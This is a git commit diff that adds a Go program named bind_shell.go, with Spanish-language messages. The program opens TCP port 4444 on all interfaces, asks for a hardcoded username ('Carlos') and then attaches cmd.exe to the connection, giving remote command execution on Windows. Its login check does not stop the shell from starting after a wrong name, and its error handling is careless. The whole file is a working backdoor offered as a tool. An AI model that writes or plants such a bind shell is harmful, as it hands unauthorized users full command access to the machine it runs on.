commit 4761309c3f8e4f7a71c7907867856dac9334dca3 Author: kar Date: Wed Sep 3 20:33:27 2025 -0700 Primer commit diff --git a/bind_shell.go b/bind_shell.go new file mode 100644 index 0000000..c227484 --- /dev/null +++ b/bind_shell.go @@ -0,0 +1,49 @@ +package main + +import ( + "fmt" + "net" + "os/exec" + "strings" +) + +func main() { + listener, err := net.Listen("tcp", "0.0.0.0:4444") + if err != nil { + fmt.Println("Error al abrir scoket") + } + defer listener.Close() + conn, err := listener.Accept() + if err != nil { + fmt.Println("Error") + } + if err != nil { + fmt.Println("Error al recibir la conexion") + } + if login(conn) != true { + _, err = conn.Write([]byte("False User\n")) + conn.Close() + } + cmd := exec.Command("cmd.exe") + cmd.Stdin = conn + cmd.Stdout = conn + cmd.Stderr = conn + cmd.Run() +} + +func login(conn net.Conn) bool { + + mensaje := fmt.Sprintf("Favor de escribir usuario\nUsuario: ") + _, err := conn.Write([]byte(mensaje)) + buf := make([]byte, 1024) + n, err := conn.Read(buf) + if err != nil { + fmt.Println("Error") + } + data := string(buf[:n]) + user := strings.TrimSpace(data) + if user != "Carlos" { + return false + } + return true +}